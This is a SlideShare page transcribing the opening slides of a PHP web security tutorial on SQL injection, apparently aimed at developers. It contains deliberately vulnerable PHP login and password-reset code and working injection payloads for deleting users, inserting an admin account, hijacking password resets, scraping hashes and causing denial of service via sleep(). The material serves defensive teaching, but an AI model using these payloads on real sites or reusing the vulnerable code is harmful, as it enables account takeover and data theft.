SlideShare a Scribd company logo

My app is secure... I think

Wim Godden
Wim Godden
Wim GoddenConsultant at Cu.be Solutions

With more and more sites falling victim to data theft, you've probably read the list of things (not) to do to write secure code. But what else should you do to make sure your code and the rest of your web stack is secure ? In this tutorial we'll go through the basic and more advanced techniques of securing your web and database servers, securing your backend PHP code and your frontend javascript code. We'll also look at how you can build code that detects and blocks intrusion attempts and a bunch of other tips and tricks to make sure your customer data stays secure.

My app is secure... I think

1 of 120
Download to read offline
Wim Godden
Cu.be Solutions
My app is secure...
I think
Who am I ?
Wim Godden (@wimgtr)
Where I'm from
Where I'm from
Where I'm from
Where I'm from
Ad

Recommended

My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
When dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWhen dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 

More Related Content

What's hot

The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous phpWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
When dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWhen dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWim Godden
 
Remove php calls and scale your site like crazy !
Remove php calls and scale your site like crazy !Remove php calls and scale your site like crazy !
Remove php calls and scale your site like crazy !Wim Godden
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeWim Godden
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?ConFoo
 
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+ConFoo
 
Node.js in action
Node.js in actionNode.js in action
Node.js in actionSimon Su
 
Web Crawling with NodeJS
Web Crawling with NodeJSWeb Crawling with NodeJS
Web Crawling with NodeJSSylvain Zimmer
 
History of jQuery
History of jQueryHistory of jQuery
History of jQueryjeresig
 
Symfony & Javascript. Combining the best of two worlds
Symfony & Javascript. Combining the best of two worldsSymfony & Javascript. Combining the best of two worlds
Symfony & Javascript. Combining the best of two worldsIgnacio Martín
 
Lecture8 php page control by okello erick
Lecture8 php page control by okello erickLecture8 php page control by okello erick
Lecture8 php page control by okello erickokelloerick
 
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...Ivan Čukić
 
Guard Authentication: Powerful, Beautiful Security
Guard Authentication: Powerful, Beautiful SecurityGuard Authentication: Powerful, Beautiful Security
Guard Authentication: Powerful, Beautiful SecurityRyan Weaver
 
"The little big project. From zero to hero in two weeks with 3 front-end engi...
"The little big project. From zero to hero in two weeks with 3 front-end engi..."The little big project. From zero to hero in two weeks with 3 front-end engi...
"The little big project. From zero to hero in two weeks with 3 front-end engi...Fwdays
 
I put on my mink and wizard behat (tutorial)
I put on my mink and wizard behat (tutorial)I put on my mink and wizard behat (tutorial)
I put on my mink and wizard behat (tutorial)xsist10
 

What's hot (20)

The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous php
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
When dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWhen dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniques
 
Remove php calls and scale your site like crazy !
Remove php calls and scale your site like crazy !Remove php calls and scale your site like crazy !
Remove php calls and scale your site like crazy !
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
 
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
 
Node.js in action
Node.js in actionNode.js in action
Node.js in action
 
Web Crawling with NodeJS
Web Crawling with NodeJSWeb Crawling with NodeJS
Web Crawling with NodeJS
 
History of jQuery
History of jQueryHistory of jQuery
History of jQuery
 
Symfony & Javascript. Combining the best of two worlds
Symfony & Javascript. Combining the best of two worldsSymfony & Javascript. Combining the best of two worlds
Symfony & Javascript. Combining the best of two worlds
 
Lecture8 php page control by okello erick
Lecture8 php page control by okello erickLecture8 php page control by okello erick
Lecture8 php page control by okello erick
 
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
 
Guard Authentication: Powerful, Beautiful Security
Guard Authentication: Powerful, Beautiful SecurityGuard Authentication: Powerful, Beautiful Security
Guard Authentication: Powerful, Beautiful Security
 
Windows PowerShell
Windows PowerShellWindows PowerShell
Windows PowerShell
 
"The little big project. From zero to hero in two weeks with 3 front-end engi...
"The little big project. From zero to hero in two weeks with 3 front-end engi..."The little big project. From zero to hero in two weeks with 3 front-end engi...
"The little big project. From zero to hero in two weeks with 3 front-end engi...
 
Introduction to Flask Micro Framework
Introduction to Flask Micro FrameworkIntroduction to Flask Micro Framework
Introduction to Flask Micro Framework
 
I put on my mink and wizard behat (tutorial)
I put on my mink and wizard behat (tutorial)I put on my mink and wizard behat (tutorial)
I put on my mink and wizard behat (tutorial)
 
Php Security
Php SecurityPhp Security
Php Security
 

Similar to My app is secure... I think

My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Arc & Codementor
 
2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQLHung-yu Lin
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-onAndrea Valenza
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And AnishOSSCube
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ EtsyNishan Subedi
 
The Zen of Lithium
The Zen of LithiumThe Zen of Lithium
The Zen of LithiumNate Abele
 
Drush. Secrets come out.
Drush. Secrets come out.Drush. Secrets come out.
Drush. Secrets come out.Alex S
 
Lithium: The Framework for People Who Hate Frameworks
Lithium: The Framework for People Who Hate FrameworksLithium: The Framework for People Who Hate Frameworks
Lithium: The Framework for People Who Hate FrameworksNate Abele
 
PHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptxPHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptxCynthiaKendi1
 
Intro to php
Intro to phpIntro to php
Intro to phpSp Singh
 
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QACreating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QAarchwisp
 
Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)Kang-min Liu
 

Similar to My app is secure... I think (20)

My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
 
2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-on
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
php2.pptx
php2.pptxphp2.pptx
php2.pptx
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
 
The Zen of Lithium
The Zen of LithiumThe Zen of Lithium
The Zen of Lithium
 
Drush. Secrets come out.
Drush. Secrets come out.Drush. Secrets come out.
Drush. Secrets come out.
 
Lithium: The Framework for People Who Hate Frameworks
Lithium: The Framework for People Who Hate FrameworksLithium: The Framework for People Who Hate Frameworks
Lithium: The Framework for People Who Hate Frameworks
 
PHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptxPHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptx
 
Perl object ?
Perl object ?Perl object ?
Perl object ?
 
Intro to php
Intro to phpIntro to php
Intro to php
 
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QACreating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
 
Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)
 

More from Wim Godden

Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to lifeWim Godden
 
The why and how of moving to php 8
The why and how of moving to php 8The why and how of moving to php 8
The why and how of moving to php 8Wim Godden
 
The why and how of moving to php 7
The why and how of moving to php 7The why and how of moving to php 7
The why and how of moving to php 7Wim Godden
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websocketsWim Godden
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to lifeWim Godden
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developersWim Godden
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.xWim Godden
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.xWim Godden
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websocketsWim Godden
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developersWim Godden
 
Practical git for developers
Practical git for developersPractical git for developers
Practical git for developersWim Godden
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Wim Godden
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous phpWim Godden
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes staticWim Godden
 
The promise of asynchronous PHP
The promise of asynchronous PHPThe promise of asynchronous PHP
The promise of asynchronous PHPWim Godden
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes staticWim Godden
 

More from Wim Godden (19)

Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to life
 
The why and how of moving to php 8
The why and how of moving to php 8The why and how of moving to php 8
The why and how of moving to php 8
 
The why and how of moving to php 7
The why and how of moving to php 7The why and how of moving to php 7
The why and how of moving to php 7
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websockets
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to life
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developers
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.x
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.x
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websockets
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developers
 
Practical git for developers
Practical git for developersPractical git for developers
Practical git for developers
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous php
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes static
 
The promise of asynchronous PHP
The promise of asynchronous PHPThe promise of asynchronous PHP
The promise of asynchronous PHP
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes static
 

Recently uploaded

Zi-Stick UBS Dongle ZIgbee from Aeotec manual
Zi-Stick UBS Dongle ZIgbee from  Aeotec manualZi-Stick UBS Dongle ZIgbee from  Aeotec manual
Zi-Stick UBS Dongle ZIgbee from Aeotec manualDomotica daVinci
 
Power of 2024 - WITforce Odyssey.pptx.pdf
Power of 2024 - WITforce Odyssey.pptx.pdfPower of 2024 - WITforce Odyssey.pptx.pdf
Power of 2024 - WITforce Odyssey.pptx.pdfkatalinjordans1
 
Dynamical systems simulation in Python for science and engineering
Dynamical systems simulation in Python for science and engineeringDynamical systems simulation in Python for science and engineering
Dynamical systems simulation in Python for science and engineeringMassimo Talia
 
My self introduction to know others abut me
My self  introduction to know others abut meMy self  introduction to know others abut me
My self introduction to know others abut meManoj Prabakar B
 
Bit N Build Poland
Bit N Build PolandBit N Build Poland
Bit N Build PolandGDSC PJATK
 
OTel Orientation_ How to Train Teams (OTel in Practice).pdf
OTel Orientation_ How to Train Teams (OTel in Practice).pdfOTel Orientation_ How to Train Teams (OTel in Practice).pdf
OTel Orientation_ How to Train Teams (OTel in Practice).pdfPaige Cruz
 
Breaking Barriers & Leveraging the Latest Developments in AI Technology
Breaking Barriers & Leveraging the Latest Developments in AI TechnologyBreaking Barriers & Leveraging the Latest Developments in AI Technology
Breaking Barriers & Leveraging the Latest Developments in AI TechnologySafe Software
 
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptx
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptxEvolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptx
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptxKyle Willson
 
Navigating the Never Normal Strategies for Portfolio Leaders
Navigating the Never Normal Strategies for Portfolio LeadersNavigating the Never Normal Strategies for Portfolio Leaders
Navigating the Never Normal Strategies for Portfolio LeadersOnePlan Solutions
 
Heltun_HE-RS01_User_Manual_B9AH.pdf
Heltun_HE-RS01_User_Manual_B9AH.pdfHeltun_HE-RS01_User_Manual_B9AH.pdf
Heltun_HE-RS01_User_Manual_B9AH.pdfMarielaL5
 
AWS reInvent 2023 recaps from Chicago AWS user group
AWS reInvent 2023 recaps from Chicago AWS user groupAWS reInvent 2023 recaps from Chicago AWS user group
AWS reInvent 2023 recaps from Chicago AWS user groupAWS Chicago
 
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...Memory Fabric Forum
 
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre..."Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...shaiyuvasv
 
Semiconductor Review Magazine Feature.pdf
Semiconductor Review Magazine Feature.pdfSemiconductor Review Magazine Feature.pdf
Semiconductor Review Magazine Feature.pdfkeyaramicrochipusa
 
2024 February Patch Tuesday
2024 February Patch Tuesday2024 February Patch Tuesday
2024 February Patch TuesdayIvanti
 
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdf
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdfZ-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdf
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdfDomotica daVinci
 
H3 Platform CXL Solution_Memory Fabric Forum.pptx
H3 Platform CXL Solution_Memory Fabric Forum.pptxH3 Platform CXL Solution_Memory Fabric Forum.pptx
H3 Platform CXL Solution_Memory Fabric Forum.pptxMemory Fabric Forum
 
Artificial-Intelligence-in-Marketing-Data.pdf
Artificial-Intelligence-in-Marketing-Data.pdfArtificial-Intelligence-in-Marketing-Data.pdf
Artificial-Intelligence-in-Marketing-Data.pdfIsidro Navarro
 
Importance of magazines in education ppt
Importance of magazines in education pptImportance of magazines in education ppt
Importance of magazines in education pptsafnarafeek2002
 

Recently uploaded (20)

Zi-Stick UBS Dongle ZIgbee from Aeotec manual
Zi-Stick UBS Dongle ZIgbee from  Aeotec manualZi-Stick UBS Dongle ZIgbee from  Aeotec manual
Zi-Stick UBS Dongle ZIgbee from Aeotec manual
 
Power of 2024 - WITforce Odyssey.pptx.pdf
Power of 2024 - WITforce Odyssey.pptx.pdfPower of 2024 - WITforce Odyssey.pptx.pdf
Power of 2024 - WITforce Odyssey.pptx.pdf
 
Dynamical systems simulation in Python for science and engineering
Dynamical systems simulation in Python for science and engineeringDynamical systems simulation in Python for science and engineering
Dynamical systems simulation in Python for science and engineering
 
My self introduction to know others abut me
My self  introduction to know others abut meMy self  introduction to know others abut me
My self introduction to know others abut me
 
Bit N Build Poland
Bit N Build PolandBit N Build Poland
Bit N Build Poland
 
OTel Orientation_ How to Train Teams (OTel in Practice).pdf
OTel Orientation_ How to Train Teams (OTel in Practice).pdfOTel Orientation_ How to Train Teams (OTel in Practice).pdf
OTel Orientation_ How to Train Teams (OTel in Practice).pdf
 
Breaking Barriers & Leveraging the Latest Developments in AI Technology
Breaking Barriers & Leveraging the Latest Developments in AI TechnologyBreaking Barriers & Leveraging the Latest Developments in AI Technology
Breaking Barriers & Leveraging the Latest Developments in AI Technology
 
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptx
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptxEvolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptx
Evolution of Chatbots: From Custom AI Chatbots and AI Chatbots for Websites.pptx
 
Navigating the Never Normal Strategies for Portfolio Leaders
Navigating the Never Normal Strategies for Portfolio LeadersNavigating the Never Normal Strategies for Portfolio Leaders
Navigating the Never Normal Strategies for Portfolio Leaders
 
Heltun_HE-RS01_User_Manual_B9AH.pdf
Heltun_HE-RS01_User_Manual_B9AH.pdfHeltun_HE-RS01_User_Manual_B9AH.pdf
Heltun_HE-RS01_User_Manual_B9AH.pdf
 
AWS reInvent 2023 recaps from Chicago AWS user group
AWS reInvent 2023 recaps from Chicago AWS user groupAWS reInvent 2023 recaps from Chicago AWS user group
AWS reInvent 2023 recaps from Chicago AWS user group
 
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...
Q1 Memory Fabric Forum: Advantages of Optical CXL​ for Disaggregated Compute ...
 
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre..."Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...
"Journey of Aspiration: Unveiling the Path to Becoming a Technocrat and Entre...
 
Semiconductor Review Magazine Feature.pdf
Semiconductor Review Magazine Feature.pdfSemiconductor Review Magazine Feature.pdf
Semiconductor Review Magazine Feature.pdf
 
2024 February Patch Tuesday
2024 February Patch Tuesday2024 February Patch Tuesday
2024 February Patch Tuesday
 
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdf
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdfZ-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdf
Z-Wave Fan coil Thermostat Heltun_HE-HT01_User_Manual.pdf
 
H3 Platform CXL Solution_Memory Fabric Forum.pptx
H3 Platform CXL Solution_Memory Fabric Forum.pptxH3 Platform CXL Solution_Memory Fabric Forum.pptx
H3 Platform CXL Solution_Memory Fabric Forum.pptx
 
COE AI Lab Universities
COE AI Lab UniversitiesCOE AI Lab Universities
COE AI Lab Universities
 
Artificial-Intelligence-in-Marketing-Data.pdf
Artificial-Intelligence-in-Marketing-Data.pdfArtificial-Intelligence-in-Marketing-Data.pdf
Artificial-Intelligence-in-Marketing-Data.pdf
 
Importance of magazines in education ppt
Importance of magazines in education pptImportance of magazines in education ppt
Importance of magazines in education ppt
 

My app is secure... I think

  • 1. Wim Godden Cu.be Solutions My app is secure... I think
  • 2. Who am I ? Wim Godden (@wimgtr)
  • 11. Belgium – the traffic
  • 12. Who am I ? Wim Godden (@wimgtr) Founder of Cu.be Solutions (http://cu.be) Open Source developer since 1997 Developer of PHPCompatibility, OpenX, Nginx SLIC, ... Speaker at PHP and Open Source conferences
  • 13. Who are you ? Developers ? System engineers ? Network engineers ? Ever had a hack ? Through the code ? Through the server ?
  • 14. This tutorial Based on 2-day training Full stack → no Vagrant/VirtualBox required Code samples will be provided after tutorial Lots of links at the end → slides on Joind.in
  • 15. My app is secure... I think Basic stuff = known... … or is it ? Code is not enough Code Webserver Database server Operating system Network
  • 16. Disclaimer Do not use these techniques to hack Use the knowledge to prevent others from hacking you
  • 17. Reasons for hackers to hack Steal and sell your data Use your infrastructure as a jumpstation to hack other servers Send out lots of spam Use your server in a botnet for DDOS attacks Bring down your systems …
  • 18. Part 1 : the most common attacks
  • 19. OWASP Open Web Application Security Project www.owasp.org Top 10
  • 20. SQL Injection (OWASP #1) Over 15 years Still #1 problem
  • 21. SQL Injection (OWASP #1) <? require("header.php"); $hostname="localhost"; $sqlusername="someuser"; $sqlpassword="somepass"; $dbName="somedb"; MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database."); @mysql_select_db("$dbName") or die("Unable to select database."); $fp=fopen("content/whatever.php","r"); while (!feof($fp)) $content.=fgets($fp,2); $res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']); for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++) { $lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n"; } $content=str_replace("<@textstring@>",$lst,$content); print $content; require("footer.php"); ?>
  • 22. SQL Injection (OWASP #1) Over 15 years Still #1 problem Easy to exploit Easy to automate (scan + exploit) Often misunderstood
  • 23. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user where email='' OR '1'='1' E-mail :
  • 24. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user where '1'='1' E-mail :
  • 25. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user; E-mail :
  • 26. Typical pre-2005 site Your mission (impossible) : secure the site ! index.php contact.php register.php login.php Once logged in : main.php … (all other content)
  • 27. SQL injection – sample – lostpassword.php <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'New password: ' . $newpass); echo 'New password sent to ' . mysql_result($result, 0, 'email'); } }
  • 28. SQL injection – sample – lostpassword lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271 email=whatever@me.com' OR '1'='1 select * from user where email='whatever@me.com' OR '1'='1'
  • 29. Worst case : data deletion email=whatever@me.com' OR '1'='1'; delete from user where '1'='1
  • 30. Knowing the table structure email=whatever@me.com' AND email is NULL; --' select * from user where email='whatever@me.com' AND email is NULL; --'; <?php $query = "select * from user where email='" . $_GET['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); } }
  • 31. Other fields ? id firstname / first_name lastname / last_name password / pass / pwd is_admin / isadmin / admin … email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'), 'My', 'New User', 1); --';
  • 32. Update, retrieve password, update again email=whatever@me.com'; UPDATE user set email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com email=whatever@me.com'; UPDATE user set email='some-user- we@found.com' where email='myhackeraddress@gmail.com'; --';
  • 33. Hackers just want your data email=whatever@me.com' OR 1=1 limit 2, 1; --'; email=whatever@me.com' OR 1=1 limit 3, 1; --'; email=whatever@me.com' OR 1=1 limit 4, 1; --'; ...
  • 34. They want ALL data (not just email addresses) Field name Type id int username varchar(32) password varchar(64) firstname varchar(32) lastname varchar(32) address varchar(255) zip varchar(8) city varchar(32) country varchar(3) ... ...
  • 35. They want ALL data (not just email addresses) Field name Contents password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf address Hollywood Blvd. 32
  • 36. They want ALL data (not just email addresses) Field name Contents password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf address Hollywood Blvd. 32|||hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
  • 37. They want ALL data (not just email addresses) email=whatever@me.com'; UPDATE user set address=concat(address, '|||', password), email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com Start scraping ! email=whatever@me.com'; UPDATE user set password=substring_index(address, '|||', -1), address=substring_index(address, '|||', 1), email='some-user- we@found.com' where email='myhackeraddress@gmail.com'; --';
  • 38. SQL Injection – much more... Much more than logging in as a user SQL injection possible → wide range of dangers
  • 39. Fixing SQL injection : attempt #1 Addslashes() ? $query = mysql_query('select * from user where id=' . addslashes($_GET['id'])); www.hack.me/id=5%20and%20sleep(10) select * from user where id=5 and sleep(10) What if we hit that code 100 times simultaneously ? MySQL max_connections reached → Server unavailable
  • 40. Fixing SQL injection : attempt #2 mysql_real_escape_string() mysqli_real_escape_string() pg_escape_string() ...
